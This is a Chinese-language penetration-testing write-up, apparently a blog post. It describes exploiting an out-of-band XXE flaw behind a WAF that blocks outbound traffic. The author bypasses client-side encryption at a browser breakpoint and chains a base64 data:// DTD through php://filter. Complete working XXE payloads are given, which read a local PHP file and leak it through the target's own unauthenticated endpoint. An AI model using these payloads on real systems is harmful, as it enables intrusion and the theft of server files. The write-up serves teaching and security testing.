挖洞經驗 | 繞過WAF限制利用php:方法實現OOB-XXE漏洞利用
幾個星期以前,作者在某個OOB-XXE漏洞測試中遇到過這樣一種場景:目標應用後端系統WAF防火牆阻擋了包含DNS解析在內的所有出站請求(Outgoing Request),但最終,通過利用php://filter//的封裝協議,作者成功實現了OOB-XXE漏洞測試。以下是其分享:
在對目標應用的測試分析時,我偶然發現了其中一個路徑調用了一個名爲xml的參數,但其對應的XML數據值是加密的。之後,我發現該xml參數的XML數據在發送到HTTP請求前僅在客戶端實行了加密,也就是說,其應用後端可能未設置對這些XML數據進行必要驗證的措施,這樣,我就想到能否修改這些XML數據以便注入XXE Payload。
接下來,首先我要找到加密XML數據的JavaScript函數,但卻發現目標應用的JavaScript全被靜態模塊打包器WebPack打包且非常不具可讀性和跟蹤分析性。所以,要找到JavaScript加密函數是件麻煩事,之後,我想到了在Chrome瀏覽器工具中設置斷點,在XML數據發送到JavaScript加密函數前對它進行修改。
這樣一來,我就可以在其中加入外部實體(external entity)進行XML數據構造了,但當我把構造好的XML Payload發送後,目標應用好長時間纔有響應”Error while parsing XML”。但當我把其中的外部實體(external entity)修改爲 ` http://localhost/ ` 後,目標應用卻能及時無誤的響應。這種情況,我認爲目標應用環境中可能部署有WAF防火牆,它會把一些出站請求拒絕掉。之後,我又嘗試了端口和DNS解析請求,但都沒成功。
也就是說,現在我面前存在一個XXE漏洞,但是卻無能爲力。一般來說可能通過探測目標應用內網環境中開放的端口來實現XXE利用,但其WAF防火牆卻阻擋了所有出站請求。由於其WAF防火牆未阻止本機用爲外部實體,所以,我想找到目標應用公開具備的,不需cookie驗證且使用GET參數的路徑來實現對某些數據的更改或添加。而這也和目標應用的工作機制非常相符,因爲它好多路徑並未採用cookie驗證和用戶ID參數的形式來驗證身份。
考慮到這一點,我就開始認真分析查找,最後聚集於一個路徑 http://target/endpoint.php?sid= [session_id]&key=xxe&val=test,它會調用三個參數:sid、key和val,並把key和val保存到相應的會話ID賬戶中,而且我們通過訪問該路徑就可以獲取這三個參數值。
所以,現在我就想構造一個向路徑 http://target/endpoint.php?sid= [session_id]&key=xxe&val=test發送GET請求的外部實體,之後看看該路徑下的xxe和test值是否已經會發生添加更改,因此,我構造的XXE Payload如下,並把它執行了發送:
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM " http://target/endpoint.php?sid= [session_id]&key=xxe&val=test">
]>
<paramlimits>
<component name="L1" min="2" max="100">&xxe;</component>
</paramlimits>
之後,當我來到 http://target/endpoint.php?sid= [session_id] 下,我發現sid值已經被添加更改,也就是說,目標應用服務器能正常獲取上述實體,並會向提供的路徑發送GET請求。如下:
現在思路就慢慢清晰了,至少可以證明其XXE漏洞是存在的,我想深入利用看看能否可讀取到目標應用的一些本地文件。要讀取本地文件,我們需要創建一個獲取文件的參數實體,以及另一個調用該參數實體的實體,爲此,我用到了外部文檔類型定義(DTD)文件的調用,但問題還是一樣,被WAF防火牆阻擋了出站的調用請求,部署在我服務器上的DTD文件不能被正常調用。
這樣來說,還是防火牆在作怪,如何來繞過它呢?我想能否存在一種允許文件上傳的路徑,這樣我就能上傳我的構造DTD文件,但是,目標應用卻根本沒任何文件上傳功能。一番倒騰之後,我差點放棄了,但是我想到目標應用是PHP架構的,那我想應該可以用php://封裝協議的封裝器去獲取 data:// URI中的資源吧,這樣不就能調用到我的DTD文件了嗎?
所以,可以定義這樣一種參數實體:
<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=file:///D:/path/index.php">
<!ENTITY % param1 '<!ENTITY exfil SYSTEM " http://target/endpoint.php?sid= [session_id]&key=xxe&val=%data;">'>
然後把上述參數實體經base64編碼後,利用php://封裝協議來請求它,如下:
php://filter//resource=data://text/plain;base64,PCFFTlRJVFkgJSBkYXRhIFNZU1RFTSAicGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWVuY29kZS9yZXNvdXJjZT1maWxlOi8vL0Q6L3BhdGgvaW5kZXgucGhwIj4NCjwhRU5USVRZICUgcGFyYW0xICc8IUVOVElUWSBleGZpbCBTWVNURU0gImh0dHA6Ly90YXJnZXQvZW5kcG9pbnQucGhwP3NpZD1bc2Vzc2lvbl9pZF0mIzM4O2tleT14eGUmIzM4O3ZhbD0lZGF0YTsiPic+
當目標應用的XML解析器執行解析時,它會執行以下兩個路徑的實體解析:
php://filter/convert.base64-encode/resource=file:///D:/path/index.php
http://target/endpoint.php?sid= [session_id]&key=xxe&val=%data;
其中的convert.base64-encode是爲了能對 index.php 文件內容更方便的獲取。所以最終的XXE Payload爲:
<!DOCTYPE r [ <!ELEMENT r ANY > <!ENTITY % sp SYSTEM "php://filter//resource=data://text/plain;base64,PCFFTlRJVFkgJSBkYXRhIFNZU1RFTSAicGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWVuY29kZS9yZXNvdXJjZT1maWxlOi8vL0Q6L3BhdGgvaW5kZXgucGhwIj4NCjwhRU5USVRZICUgcGFyYW0xICc8IUVOVElUWSBleGZpbCBTWVNURU0gImh0dHA6Ly90YXJnZXQvZW5kcG9pbnQucGhwP3NpZD1bc2Vzc2lvbl9pZF0mIzM4O2tleT14eGUmIzM4O3ZhbD0lZGF0YTsiPic+"> %sp; %param1; ]> <paramlimits> <component name="L1" min="2" max="100">&exfil;</component> </paramlimits>
提交發送之後,來到目標路徑 http://target/endpoint.php?sid= [session_id]下,可以發現經base64編碼的index.php文件內容被成功獲取:
當然,深入利用之後就能用這種方法來讀取一些敏感的本地文件了。